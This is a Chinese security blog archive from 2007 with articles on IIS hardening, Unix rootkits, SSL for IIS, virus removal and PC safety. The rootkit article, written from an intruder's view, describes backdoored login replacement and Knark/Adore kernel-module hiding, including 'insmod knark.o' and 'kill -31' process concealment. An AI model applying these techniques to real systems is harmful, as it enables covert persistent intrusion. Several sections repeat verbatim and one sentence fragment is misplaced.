前面那位朋友所概述的主要是针对WIN2000系统弱口令的安全设置!他已经说得很仔细了,做到那些,口令这一关差不多了.确实在互联网的时代,口令真的非常重要.我对国外的主机进行了一系列的测试,就拿有弱口令的系统来说,还有不少!其中也包括了不少中小型企业的WEB服务器,E-MAIL,PROXY服务器都有这种低级的错误!
如果说你在这方面做得非常的仔细.但你至少还要仔细研究一下你主机现在所运行的有哪些服务,这些服务代表着什么?你应该很清楚!因为现在黑客软件,木马工具,远程控制软件大多是以一种服务的形式运行在你的服务器系统里,一般的防火墙,杀毒软件对其并没有任何反映的.对于服务形式出现的控制工具.比较难得发现,所以你就必须在服务器里运行的哪些服务非常熟悉.对于陌生或奇怪的服务应该安全设置好.
下面我都WIN2000的WWW(IIS)服务器安全配置略讲一下,WWW服务在WIN2000SERVER,ADSERVER,DATACENTERSERVER,版本中是默认安装的,如果你不需要用2000的WWW服务的话,建议不要安装.至于添加/删除你可以控制面板的去掉他的安装,或者在管理工具/服务里设置WORD WIDE WEB SERVICE启动类型为手动/禁用
这样的话系统就不默认启动改服务!
如果你需要用IIS来建站宣传一下自己的私服,你就必须按以下方法安全配置好IIS,
在IIS组件你首先要去掉你不需要的SMTP,SNNP,FTP,这样的话你可以降低你服务器运行所占用的CPU资源,和内存使用率.然后建议你删除你C:\INTERPUB\目录下的所有内容!或者更改路径.在IIS管理器中删除默认站点,(或者删除SCRIPTS这个虚拟目录)因为这个目录有可写的权限的.在新建的WEB站点中,设置IIS的权置,必须让它不能写入,或运行.因为IIS是默认支持ASP脚本的.然后在IIS中删除不需要的映射,这个很重要.如果你要支持PHP,CGI脚本的话,你还得配置好PHP.CGI的应用程序的正确映射,禁用或删除FSO组件,(去年深圳之窗就是被人家利用FSO黑了......)如果你要使用FSO的话,最好要改名!否则的话,你给别人提供主页上传的话,你肯定是会被黑的。小心呀!
目前在黑客横行的互联网空间中,利用IIS的漏洞,提申自己的权限,而成为AD,这些只是轻而易举的事情,这不需要花几天的时间去暴力破解一下口令,像自己架设的WEB服务器有种情况,更是数不甚数了.关于怎利用UNICODE漏洞去提供AD权限的文章,网上太多了,我就不多讲了.
这些来说应该是服务器安全防范方面的一个例子而已,真正要做到服务器的安全运行,需要你花大量的时间去摸索.因为这些来说,足以应付一些无聊的.....当然了,你如果需要WEB服务器,我还是建议你去使用AP了.他的源代码开发,免费,安全性稳定性都比IIS强得多了.
可怕的Rootkit木马后门
[ 2007-03-25 03:05:43 | 作者: sun ]
在我们获得了对目标的控制权后,还想保持这种控制权限,于是就出现了木马后门,Rootkit之类的保护权限的手段。首先来说一下我们常见的应用层次的木马后门,比如我们常见的远程控制类的软件,像国外的Sub7、VNC、netbus,国内的冰河、灰鸽子、黑洞等等,这些大家都很熟悉因此就不详细介绍了。然而此类后门的可以很容易被发现,现在的杀毒软件大多都能轻松的查处,即使暂时查不到,用其他手段检测也不是很困难,现在就我就给大家介绍一种比一般木马后门潜伏的更深的一类木马后门--Rootkit。
传统的Rootkit是一种比普通木马后门更为阴险的木马后门。它主要通过替换系统文件来达到目的。这样就会更加的隐蔽,使检测变得比较困难。传统的Rootkit对一系列平台均有效,但主要是针对Unix的,比如Linux,AIX,SunOs等操作系统。当然有些Rootkits可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让你直接获得权限,相反它是在你通过各种方法获得权限后才能使用的一种保护权限的措施,在我们获取系统根权限(根权限即root权限,是Unix系统的最高权限)以后,Rootkits提供了一套工具用来建立后门和隐藏行迹,从而让攻击者保住权限。
下面就针对Unix来讲解一下传统Rootkit的攻击原理。
RootKits是如何实现后门的呢?为了理解Rootkits后门,有必要先了解一下Unix的基本工作流程,当我们访问Unix时(不管是本地还是远程登陆),/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的帐号和密码。Rootkits使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者输入根权限后门的密码,就能进入系统。就算管理员更改了原来的系统密码或者把密码清空。我们仍能够使用后门密码以根用户身份登陆。在攻入Unix系统后,入侵者通常会进行一系列的攻击动作,如安装嗅探器收集重要数据,而Unix中也会有些系统文件会监视这些动作,比如ifconfig等,Rootkit当然不会束手就擒,它会同样替换一下这些系统文件,通常被Rootkit替换的系统程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅问题,这些系统文件的功能就不一一罗列,有兴趣的读者可以自己去查找,现在Rootkit的工具很多,里面基本都是包含一些处理过的系统文件来代替原来的系统文件的,像tOmkit等一些Rootkit就是比较优秀的了。
防御办法:Rootkit如此可怕,得好好防它才行,实际上,防御他的最有效的方法时定期的对重要系统文件的完整性进行核查,这类的工具很多,像Tripwire就是一个非常不错的文件完整性检查工具。一但发现遭受到Rootkit攻击,那你就比较麻烦了,你必须完全重装所有的系统文件部件和程序,以确保安全性。
写到这里,战争似乎结束了,然而更可怕的Rootkit还没登场,那就是更加恐怖( 这个词一点也不夸张)的内核级Rootkit。在大多数操作系统中(各种Uni x和Windows),内核是操作系统最基本的部件,它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时,打开文件的请求被发送到内核,内核负责从磁盘得到文件的比特位并运行你的文件浏览程序。内核级Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改你的内核,大多数内核级Rootkit都能进行执行重定向,即截获运行某一程序的命令,将其重定向到入侵者所选中的程序并运行此程序。也就是说用户或管理员要运行程序A,被修改过的内核假装执行A,实际却执行了程序B。现在就介绍一下内核级的Rootkit是如何攻击Unix系统的。
和传统的Rootkit不同,Unix的bin/login并未被修改,但所有执行/bin/login 的请求(当登陆系统时将产生)都被重定向到攻击者制作的隐藏文件/bin/backdoorlogin,这样当系统管理员使用检测传统级别的Rootkit的方法(比如用tripwire之类的软件检测文件的完整性)就行不通了,因为/bin/login并没有被改变。同样的道理,攻击者对其他的系统程序也进行重定,这样你的操作实际就是按照入侵者的意愿执行了。也就是说,表面上你在运行程序A,你也认为自己运行的是程序A,而实际上你运行的是入侵者设定的程序B!
更恐怖的是,内核级Rootkit不仅仅只会进行执行重定向,许多内核级Rootkit还支持文件隐蔽。传统的Rootkit是通过替换ls程序来实现文件的隐藏,而内核级的Rootkit则是通过对内核的修改来对ls程序欺骗,更加的阴险隐蔽。另外内核级的Rootkit还能对进程和网络进行隐藏,用户将得不到真实的系统情况报告。
实现思路:根据系统的类型,攻击者有不同的方法来对内核进行修改,在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能,因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能,新添加的模块扩展了内核,同时对内核和其他使用内核的所有东西有了完全访问权。
因此,许多内核级Rootkit都通过LKM来实现。安装通过LKM实现的内核级Rootkit十分简单。例如,在Linux上安装Knark内核级Rootkit只需具有根权限的入侵者输入命令: insmod knark.o 就行了,模块被安装后就等着我们输入命令了。更妙的是整个过程不需要重启。通过LKM 实现的Rootkit在Unix上十分流行。我们也常常会通过给Windows平台打LKM补丁的方法攻击Windows。
内核级Rootkit 的几个例子
现在有大量的内核级Rootkit可用,现在我就选几种比较强大的来跟大家讨论一下。
一、 linux 上的内核级Rootkit:Knark
Knark具有各种标准的内核级Rootkit功能,包括执行重定向,文件隐藏,进程隐藏和网络隐藏。另外,还有不少比较过瘾的功能,如:
1、远程执行:我们可以通过网络向运行Knark的机器发送一条命令,源地址是假造的,命令被发往UDP端口53,使之表面上看起来像是DNS流量。我们就可以利用这个功能来升级Knark,删除系统文件或其他任何我们想做的事。
2、任务攻击:当某一进程在系统上运行时,它总是具有与UID和有效的UID(EUID)相关的权限。另外进程还具有与文件系统UID(FSUID)相关的文件及目录访问权。Knark的任务攻击能力可实时地将进程UID,EUID和FSUID改变。进程在不停止运动的情况下突然具有了新的权限。
3、隐藏混杂模式:同一般的RootKit一样,入侵者也会在受害者机器上运行嗅探器。我们可以用文件隐藏和进程隐藏将嗅探器隐藏起来。然而,以太网卡会被设成混杂模式,管理员可以检查到这一点Knark将内核进行了修改,使之隐瞒网卡的混合模式,这将使嗅探变得更加隐秘。
4、实时进程隐藏:Knark可以将一个正在运行的进程隐藏起来。通过发送信号31给一个进程,此进程将消失,但仍在运行。命令kill-31 process_id将阻止内核汇报任何有关此进程的信息。进程在运行时,ps和lsof命令的使用都不能显示此进程。
5、内核模块隐藏:Linux中的lsmod命令可以列出当前在机器上安装的LKM。我们自然不想让管理员看到Knark模块,因此Knark包含了一个单独的模块modhide,modhide将Knark和自己隐藏了起来。这样,当我们用Knark攻击一个系统时,我们首先为Knark.o做一个insmod,然后为modhide.o做一个insmod。这样不管谁运行lsmod命令,这些模块都不会被发现。
二、 另一个Linux上的内核级Rootkit:Adore
同Knark一样,Adore也是一个针对Linux的LKM RootKit。 他包含了标准的内核级Rootkit功能,如文件隐藏,进程隐藏,网络隐藏和内核模块隐藏。我们只所以讨论Adore,是因为他还有一个非常强大的功能:内置的根权限后门。
Adore的根权限后门可以让我们连接到系统上并获得根权限的命令外壳,此功能十分直接了当 ,Adore将此功能巧妙的包含在内核模块中了。这一招十分难破,因为管理员看不到任何文件、进程、侦听网络端口的迹象。
防御办法:防御内核级的Rootkit的根本办法是不要让攻击者得到你的机器的系统的根本权限(Unix里的root和Windows里的admin),不过这看起来像废话,目前对内核级的Rootkit还没有绝对的防御体系。
现在也存在一些Rootkit自动检测工具,但都不是很可靠。同时内核级的Rootkit也在不断的发展中,对一些系统来说防御它最好的办法是使用不支持LKM的内核,Linux的内核就可以设成不支持LKM的单一内核。
传统的Rootkit是一种比普通木马后门更为阴险的木马后门。它主要通过替换系统文件来达到目的。这样就会更加的隐蔽,使检测变得比较困难。传统的Rootkit对一系列平台均有效,但主要是针对Unix的,比如Linux,AIX,SunOs等操作系统。当然有些Rootkits可以通过替换DLL文件或更改系统来攻击Windows平台。Rootkit并不能让你直接获得权限,相反它是在你通过各种方法获得权限后才能使用的一种保护权限的措施,在我们获取系统根权限(根权限即root权限,是Unix系统的最高权限)以后,Rootkits提供了一套工具用来建立后门和隐藏行迹,从而让攻击者保住权限。
下面就针对Unix来讲解一下传统Rootkit的攻击原理。
RootKits是如何实现后门的呢?为了理解Rootkits后门,有必要先了解一下Unix的基本工作流程,当我们访问Unix时(不管是本地还是远程登陆),/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的帐号和密码。Rootkits使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者输入根权限后门的密码,就能进入系统。就算管理员更改了原来的系统密码或者把密码清空。我们仍能够使用后门密码以根用户身份登陆。在攻入Unix系统后,入侵者通常会进行一系列的攻击动作,如安装嗅探器收集重要数据,而Unix中也会有些系统文件会监视这些动作,比如ifconfig等,Rootkit当然不会束手就擒,它会同样替换一下这些系统文件,通常被Rootkit替换的系统程序有login,ifconfig,du,find,ls,netstart,ps等。由于篇幅问题,这些系统文件的功能就不一一罗列,有兴趣的读者可以自己去查找,现在Rootkit的工具很多,里面基本都是包含一些处理过的系统文件来代替原来的系统文件的,像tOmkit等一些Rootkit就是比较优秀的了。
防御办法:Rootkit如此可怕,得好好防它才行,实际上,防御他的最有效的方法时定期的对重要系统文件的完整性进行核查,这类的工具很多,像Tripwire就是一个非常不错的文件完整性检查工具。一但发现遭受到Rootkit攻击,那你就比较麻烦了,你必须完全重装所有的系统文件部件和程序,以确保安全性。
写到这里,战争似乎结束了,然而更可怕的Rootkit还没登场,那就是更加恐怖( 这个词一点也不夸张)的内核级Rootkit。在大多数操作系统中(各种Uni x和Windows),内核是操作系统最基本的部件,它控制着对网络设备、进程、系统内存、磁盘等的访问。例如当你打开一个文件时,打开文件的请求被发送到内核,内核负责从磁盘得到文件的比特位并运行你的文件浏览程序。内核级Rootkit使攻击者获得对系统底层的完全控制权。攻击者可以修改你的内核,大多数内核级Rootkit都能进行执行重定向,即截获运行某一程序的命令,将其重定向到入侵者所选中的程序并运行此程序。也就是说用户或管理员要运行程序A,被修改过的内核假装执行A,实际却执行了程序B。现在就介绍一下内核级的Rootkit是如何攻击Unix系统的。
和传统的Rootkit不同,Unix的bin/login并未被修改,但所有执行/bin/login 的请求(当登陆系统时将产生)都被重定向到攻击者制作的隐藏文件/bin/backdoorlogin,这样当系统管理员使用检测传统级别的Rootkit的方法(比如用tripwire之类的软件检测文件的完整性)就行不通了,因为/bin/login并没有被改变。同样的道理,攻击者对其他的系统程序也进行重定,这样你的操作实际就是按照入侵者的意愿执行了。也就是说,表面上你在运行程序A,你也认为自己运行的是程序A,而实际上你运行的是入侵者设定的程序B!
更恐怖的是,内核级Rootkit不仅仅只会进行执行重定向,许多内核级Rootkit还支持文件隐蔽。传统的Rootkit是通过替换ls程序来实现文件的隐藏,而内核级的Rootkit则是通过对内核的修改来对ls程序欺骗,更加的阴险隐蔽。另外内核级的Rootkit还能对进程和网络进行隐藏,用户将得不到真实的系统情况报告。
实现思路:根据系统的类型,攻击者有不同的方法来对内核进行修改,在N种Unix系统上修改内核最简单的方法就是利用系统本身的加载的内核模块(LKM)的功能,因此大多数的内核级Rootkit通过利用LKM动态地将内核更新来提供新功能,新添加的模块扩展了内核,同时对内核和其他使用内核的所有东西有了完全访问权。
因此,许多内核级Rootkit都通过LKM来实现。安装通过LKM实现的内核级Rootkit十分简单。例如,在Linux上安装Knark内核级Rootkit只需具有根权限的入侵者输入命令: insmod knark.o 就行了,模块被安装后就等着我们输入命令了。更妙的是整个过程不需要重启。通过LKM 实现的Rootkit在Unix上十分流行。我们也常常会通过给Windows平台打LKM补丁的方法攻击Windows。
内核级Rootkit 的几个例子
现在有大量的内核级Rootkit可用,现在我就选几种比较强大的来跟大家讨论一下。
一、 linux 上的内核级Rootkit:Knark
Knark具有各种标准的内核级Rootkit功能,包括执行重定向,文件隐藏,进程隐藏和网络隐藏。另外,还有不少比较过瘾的功能,如:
1、远程执行:我们可以通过网络向运行Knark的机器发送一条命令,源地址是假造的,命令被发往UDP端口53,使之表面上看起来像是DNS流量。我们就可以利用这个功能来升级Knark,删除系统文件或其他任何我们想做的事。
2、任务攻击:当某一进程在系统上运行时,它总是具有与UID和有效的UID(EUID)相关的权限。另外进程还具有与文件系统UID(FSUID)相关的文件及目录访问权。Knark的任务攻击能力可实时地将进程UID,EUID和FSUID改变。进程在不停止运动的情况下突然具有了新的权限。
3、隐藏混杂模式:同一般的RootKit一样,入侵者也会在受害者机器上运行嗅探器。我们可以用文件隐藏和进程隐藏将嗅探器隐藏起来。然而,以太网卡会被设成混杂模式,管理员可以检查到这一点Knark将内核进行了修改,使之隐瞒网卡的混合模式,这将使嗅探变得更加隐秘。
4、实时进程隐藏:Knark可以将一个正在运行的进程隐藏起来。通过发送信号31给一个进程,此进程将消失,但仍在运行。命令kill-31 process_id将阻止内核汇报任何有关此进程的信息。进程在运行时,ps和lsof命令的使用都不能显示此进程。
5、内核模块隐藏:Linux中的lsmod命令可以列出当前在机器上安装的LKM。我们自然不想让管理员看到Knark模块,因此Knark包含了一个单独的模块modhide,modhide将Knark和自己隐藏了起来。这样,当我们用Knark攻击一个系统时,我们首先为Knark.o做一个insmod,然后为modhide.o做一个insmod。这样不管谁运行lsmod命令,这些模块都不会被发现。
二、 另一个Linux上的内核级Rootkit:Adore
同Knark一样,Adore也是一个针对Linux的LKM RootKit。 他包含了标准的内核级Rootkit功能,如文件隐藏,进程隐藏,网络隐藏和内核模块隐藏。我们只所以讨论Adore,是因为他还有一个非常强大的功能:内置的根权限后门。
Adore的根权限后门可以让我们连接到系统上并获得根权限的命令外壳,此功能十分直接了当 ,Adore将此功能巧妙的包含在内核模块中了。这一招十分难破,因为管理员看不到任何文件、进程、侦听网络端口的迹象。
防御办法:防御内核级的Rootkit的根本办法是不要让攻击者得到你的机器的系统的根本权限(Unix里的root和Windows里的admin),不过这看起来像废话,目前对内核级的Rootkit还没有绝对的防御体系。
现在也存在一些Rootkit自动检测工具,但都不是很可靠。同时内核级的Rootkit也在不断的发展中,对一些系统来说防御它最好的办法是使用不支持LKM的内核,Linux的内核就可以设成不支持LKM的单一内核。
安全技巧教你妙用SSL给IIS也加一把锁
[ 2007-03-25 03:05:29 | 作者: sun ]
由于NT系统的易维护性,越来越多的中小企业在自己的网站上和内部办公管理系统上采用它,而且很多都是用默认的IIS来做WEB服务器使用。当然不能否认近来威胁NT系统的几个漏洞都是由于IIS配置不当造成的,而且可以预见,未来IIS还会被发现很多新的漏洞和安全问题,但只要我们做好合理的安全配置,还是可以避免很多安全隐患的。本文并没有系统的去讲如何全面安全的配置IIS,我只是从利用SSL加密HTTP通道来讲如果加强IIS安全的。
一、建立SSL安全机制
IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全性更高的认证,就是通过SSL(Security Socket Layer)安全机制使用数字证书。SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个惟一的安全通道。
建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,输入https:// ,而不是http://。
简单的说默认情况下我们所使用的HTTP协议是没有任何加密措施的,所有的消息全部都是以明文形式在网络上传送的,恶意的攻击者可以通过安装监听程序来获得我们和服务器之间的通讯内容。这点危害在一些企业内部网络中尤其比较大,对于使用HUB的企业内网来说简直就是没有任何安全可讲因为任何人都可以在一台电脑上看到其他人在网络中的活动,对于使用交换机来组网的网络来说虽然安全威胁性要小很多,但很多时候还是会有安全突破口,比如没有更改交换机的默认用户和口令,被人上去把自己的网络接口设置为侦听口,依然可以监视整个网络的所有活动。
所以全面加密整个网络传输隧道的确是个很好的安全措施,很可惜的是现在网络上有关于具体给IIS配置SSL的文章并不是很多,我简单的摸索了下把我的经验拿出来给大家分享。
二、操作办法
以Windows2000服务器版本的来做例子讲解的,我们首先需要在控制面板里的填加删除WINDOWS组件中去安装证书服务,这个服务在默认安装中是没有安装在系统里的,需要安装光盘来安装。
由于我们是第一次配置,所以选择创建一个新的证书。用默认的站点名称和加密位长设置就可以了。颁发成功以后我们在颁发的证书里找到刚才颁发的证书,双击其属性栏目然后在详细信息里选择将证书复制到文件。我们需要把证书导出到一个文件,这里我们把证书导出到c: sql.cer这个文件里。重新回到IIS的WEB管理界面里重新选择证书申请,这个时候出来的界面就是挂起的证书请求了。
一、建立SSL安全机制
IIS的身份认证除了匿名访问、基本验证和Windows NT请求/响应方式外,还有一种安全性更高的认证,就是通过SSL(Security Socket Layer)安全机制使用数字证书。SSL(加密套接字协议层)位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。使用SSL安全机制时,首先客户端与服务器建立连接,服务器把它的数字证书与公共密钥一并发送给客户端,客户端随机生成会话密钥,用从服务器得到的公共密钥对会话密钥进行加密,并把会话密钥在网络上传递给服务器,而会话密钥只有在服务器端用私人密钥才能解密,这样,客户端和服务器端就建立了一个惟一的安全通道。
建立了SSL安全机制后,只有SSL允许的客户才能与SSL允许的Web站点进行通信,并且在使用URL资源定位器时,输入https:// ,而不是http://。
简单的说默认情况下我们所使用的HTTP协议是没有任何加密措施的,所有的消息全部都是以明文形式在网络上传送的,恶意的攻击者可以通过安装监听程序来获得我们和服务器之间的通讯内容。这点危害在一些企业内部网络中尤其比较大,对于使用HUB的企业内网来说简直就是没有任何安全可讲因为任何人都可以在一台电脑上看到其他人在网络中的活动,对于使用交换机来组网的网络来说虽然安全威胁性要小很多,但很多时候还是会有安全突破口,比如没有更改交换机的默认用户和口令,被人上去把自己的网络接口设置为侦听口,依然可以监视整个网络的所有活动。
所以全面加密整个网络传输隧道的确是个很好的安全措施,很可惜的是现在网络上有关于具体给IIS配置SSL的文章并不是很多,我简单的摸索了下把我的经验拿出来给大家分享。
二、操作办法
以Windows2000服务器版本的来做例子讲解的,我们首先需要在控制面板里的填加删除WINDOWS组件中去安装证书服务,这个服务在默认安装中是没有安装在系统里的,需要安装光盘来安装。
由于我们是第一次配置,所以选择创建一个新的证书。用默认的站点名称和加密位长设置就可以了。颁发成功以后我们在颁发的证书里找到刚才颁发的证书,双击其属性栏目然后在详细信息里选择将证书复制到文件。我们需要把证书导出到一个文件,这里我们把证书导出到c: sql.cer这个文件里。重新回到IIS的WEB管理界面里重新选择证书申请,这个时候出来的界面就是挂起的证书请求了。
分析 病毒杀不死的原因
[ 2007-03-25 03:05:18 | 作者: sun ]
原因:
1.病毒正在运行。由于Windows保护正在运行的程序,所以杀毒软件是无法杀死正在运行的病毒。即使是真的杀死了病毒,电脑正常关机时内存中活动的病毒还会再复制一个病毒到硬盘上; (建议在安全模式下杀毒)
2.病毒隐藏在系统还原的文件夹“_restore”中;
3.删除注册表中RUN多余的启动项。
解决办法:
1.在Windows中杀毒前首先得中止病毒进程。对于WindowsXp/2000,可以使用任务管理器(Ctrl+Alt+Del三键齐按)来查看当前所有的进程,而对于Windows98/Me,则可以使用“黑客入门工具箱”或ATM来查看进程。确定哪个是来历不明的就停止掉,该过程俗称“杀进程”。不要怕出错,因为不会对电脑造成任何损坏,最多就是死机。注意,杀进程的操作有时得进行两次才成功。有的病毒有两个进程,互相保护,杀掉一个则会被另一个发现并恢复。此时应先把该病毒在注册表中的启动项去掉,然后用突然断电的方式重启电脑(不让病毒对系统有任何保存的操作),再进入安全模式杀。
2.在Windows中使用专杀工具杀毒。得使用最新的杀毒版本(至少要更新病毒库)。
3.禁用系统还原。在WindowsMe中禁用方法是∶鼠标右键点击“我的电脑”-属性-性能-文件系统-疑难解答-禁止系统还原。在WindowsXP中禁用方法是∶控制面板-系统-系统属性-系统还原-在所有驱动器上关闭系统还原。然后用软盘或U盘启动电脑,在dos下删除_RESTORE文件夹。
4.在Dos下杀毒不存在杀不死的问题。一般的杀毒软件都可以制作软盘版(含至少3张软盘),用第一张盘启动(CMOS中必须设定软盘启动在前)后按提示陆续放入其它盘就可以直接杀毒了。瑞星的软盘版需要用鼠标确定杀毒的驱动器,而金山毒霸的软盘版则默认全机查杀。实际上用金山毒霸在DOS下杀毒还可以更简单,用普通软盘启动盘或U盘启动盘启动电脑后,先换到C盘,然后进入金山毒霸的目录(命令:cd kav或cd kav5,与版本有关),然后输入KAVDX,回车就开始杀毒了。
1.病毒正在运行。由于Windows保护正在运行的程序,所以杀毒软件是无法杀死正在运行的病毒。即使是真的杀死了病毒,电脑正常关机时内存中活动的病毒还会再复制一个病毒到硬盘上; (建议在安全模式下杀毒)
2.病毒隐藏在系统还原的文件夹“_restore”中;
3.删除注册表中RUN多余的启动项。
解决办法:
1.在Windows中杀毒前首先得中止病毒进程。对于WindowsXp/2000,可以使用任务管理器(Ctrl+Alt+Del三键齐按)来查看当前所有的进程,而对于Windows98/Me,则可以使用“黑客入门工具箱”或ATM来查看进程。确定哪个是来历不明的就停止掉,该过程俗称“杀进程”。不要怕出错,因为不会对电脑造成任何损坏,最多就是死机。注意,杀进程的操作有时得进行两次才成功。有的病毒有两个进程,互相保护,杀掉一个则会被另一个发现并恢复。此时应先把该病毒在注册表中的启动项去掉,然后用突然断电的方式重启电脑(不让病毒对系统有任何保存的操作),再进入安全模式杀。
2.在Windows中使用专杀工具杀毒。得使用最新的杀毒版本(至少要更新病毒库)。
3.禁用系统还原。在WindowsMe中禁用方法是∶鼠标右键点击“我的电脑”-属性-性能-文件系统-疑难解答-禁止系统还原。在WindowsXP中禁用方法是∶控制面板-系统-系统属性-系统还原-在所有驱动器上关闭系统还原。然后用软盘或U盘启动电脑,在dos下删除_RESTORE文件夹。
4.在Dos下杀毒不存在杀不死的问题。一般的杀毒软件都可以制作软盘版(含至少3张软盘),用第一张盘启动(CMOS中必须设定软盘启动在前)后按提示陆续放入其它盘就可以直接杀毒了。瑞星的软盘版需要用鼠标确定杀毒的驱动器,而金山毒霸的软盘版则默认全机查杀。实际上用金山毒霸在DOS下杀毒还可以更简单,用普通软盘启动盘或U盘启动盘启动电脑后,先换到C盘,然后进入金山毒霸的目录(命令:cd kav或cd kav5,与版本有关),然后输入KAVDX,回车就开始杀毒了。
个人电脑防黑的安全准则
[ 2007-03-25 03:05:06 | 作者: sun ]
在这个网络时代,每个人都可以轻易地从网络上得到各种简单易用的黑客工具,于是,众多“黑客”就诞生了。这些人多半是一些无所事事的网虫,天生就有破坏的欲望。于是无聊+表现欲促使他们拿着从网上找来的各种“炸弹”之类的东西开始在浩大的网络中寻找可以炫耀一下自己本事的猎物。当你在网络上冲浪,或是正在同别人聊天时,机器突然死机了或是蓝屏了,网页不能浏览了,QQ登录不上去了,这时你就该想想自己是不是中毒了,或是被黑了。那么为防止我们的个人电脑被黑客攻击,我们使用电脑时该遵循些什么样的安全准则呢?
密码安全准则
不要使用简单的密码。不要简单地用生日、单词或电话号码作为密码,密码的长度至少要8个字符以上,包含数字、大、小写字母和键盘上的其他字符混合。对于不同的网站和程序,要使用不同口令,以防止被黑客破译。要记录好你的ID和密码以免忘记,但不要将记录存放在上网的电脑里。不要为了下次登录方便而保存密码;还有,要经常更改密码和不要向任何人透露您的密码。
电子邮件安全准则
不要轻易打开电子邮件中的附件,更不要轻易运行邮件附件中的程序,除非你知道信息的来源。要时刻保持警惕性,不要轻易相信熟人发来的E-mail就一定没有黑客程序,如Happy99就会自动加在E-mail附件当中。不要在网络上随意公布或者留下您的电子邮件地址,去转信站申请一个转信信箱,因为只有它是不怕炸的。在E-mail客户端软件中限制邮件大小和过滤垃圾邮件;使用远程登录的方式来预览邮件;最好申请数字签名;对于邮件附件要先用防病毒软件和专业清除木马的工具进行扫描后方可使用。
IE的安全准则
对于使用公共机器上网的网民,一定要注意IE的安全性。因为IE的自动完成功能在给用户填写表单和输入Web地址带来一定便利的同时,也给用户带来了潜在的泄密危险,最好禁用IE的自动完成功能。IE的历史记录中保存了用户已经访问过的所有页面的链接,在离开之前一定要清除历史记录;另外IE的临时文件夹(\Windows\Temporary Internet Files)内保存了用户已经浏览过的网页,通过IE的脱机浏览特性或者是其他第三方的离线浏览软件,其他用户能够轻松地翻阅你浏览的内容,所以离开之前也需删除该路径下的文件。还要使用具有对Cookie程序控制权的安全程序,因为Cookie程序会把信息传送回网站,当然安装个人防火墙也可对Cookie的使用进行禁止、提示或启用。
聊天软件的安全准则
在使用聊天软件的时候,最好设置为隐藏用户,以免别有用心者使用一些专用软件查看到你的IP地址,然后采用一些针对IP 地址的黑客工具对你进行攻击。在聊天室的时候,还要预防Java炸弹,攻击者通常发送一些带恶意代码的HTML语句使你的电脑打开无数个窗口或显示巨型图片,最终导致死机。你只需禁止Java脚本的运行和显示图像功能就可以避免遭到攻击了,但这时你就没法访问一些交互式网页了,这需要你个人权衡。
防止特洛伊木马安全准则
不要太容易信任别人,不要轻易安装和运行从那些不知名的网站(特别是不可靠的FTP站点)下载的软件和来历不明的软件。有些程序可能是木马程序,如果你一旦安装了这些程序,它们就会在你不知情的情况下更改你的系统或者连接到远程的服务器。这样,黑客就可以很容易进入你的电脑。笔者并不是让大家不信任来自Internet的任何东西,因为即使是很大的网站,都有可能遭到黑客的破坏。对于此类软件,即使通过了一般反病毒软件的检查也不要轻易运行,要用如Cleaner等专门的黑客程序清除软件检查,并且需要提醒大家注意的是这些软件的病毒库文件要经常更新。同时不要让他人随意在您的计算机上安装软件。另外如果是购买二手电脑,不要购买或者使用那些曾经受过入侵,但仍未清理过硬盘的二手电脑。因为这样很可能为黑客提供了入侵你的电脑的机会,最好
定期升级你的系统
很多常用的程序和操作系统的内核都会发现漏洞,某些漏洞会让入侵者很容易进入到你的系统,这些漏洞会以很快的速度在黑客中传开。如近期流传极广的尼姆达病毒就是针对微软信件浏览器的弱点和Windows NT/2000、IIS的漏洞而编写出的一种传播能力很强的病毒。因此,用户一定要小心防范。软件的开发商会把补丁公布,以便用户补救这些漏洞。建议用户订阅关于这些漏洞的邮件列表,以便及时知道这些漏洞后打上补丁,以防黑客攻击。当然最好使用最新版本的浏览器软件、电子邮件软件以及其他程序,但不要是测试版本。
安装防火墙
不要在没有防火墙的情况下上网冲浪。如果你使用的是宽带连接,例如ADSL或者光纤,那么你就会在任何时候都连上Internet,这样,你就很有可能成为那些闹着玩的黑客的目标。最好在不需要的时候断开连接,如可以在你的电脑上装上防黑客的防火墙——一种反入侵的程序作为你的电脑的门卫,以监视数据流动或是断开网络连接。如Lockdown2000 、ZoneAlarm、天网或者其他的一些个人防火墙软件。另外如瑞星、江民、金山公司的最新版杀毒软件都附有防火墙,可以起到杀毒、防黑的双重功效,值得信赖。
禁止文件共享
局域网里的用户喜欢将自己的电脑设置为文件共享,以方便相互之间资源共享,但是如果你设了共享的话,就为那些黑客留了后门,这样他们就有机可乘进入你的电脑偷看你的文件,甚至搞些小破坏。建议在非设共享不可的情况下,最好为共享文件夹设置一个密码,否则公众以及你的对手将可以自由地访问你的那些共享文件。
如果你在上网时遵守了以上这些准则的话,就可以在一定程度上保证个人电脑的安全,避免黑客的攻击。
是重新格式化硬盘,并重装操作系统。
推荐:防止ACCESS数据库被下载的几种方法
[ 2007-03-25 03:04:51 | 作者: sun ]
昨天和animator试验了一下,把data.mdb文件改名为data.asp文件后放在wwwroot目录里。然后在IE中输入data.asp路径后,发现IE显示一片空白,右键->察看源文件,跳出记事本,将内容另存为.mdb文件,用ACCESS打开,发现需要密码,也就是说至少文件头被破坏。
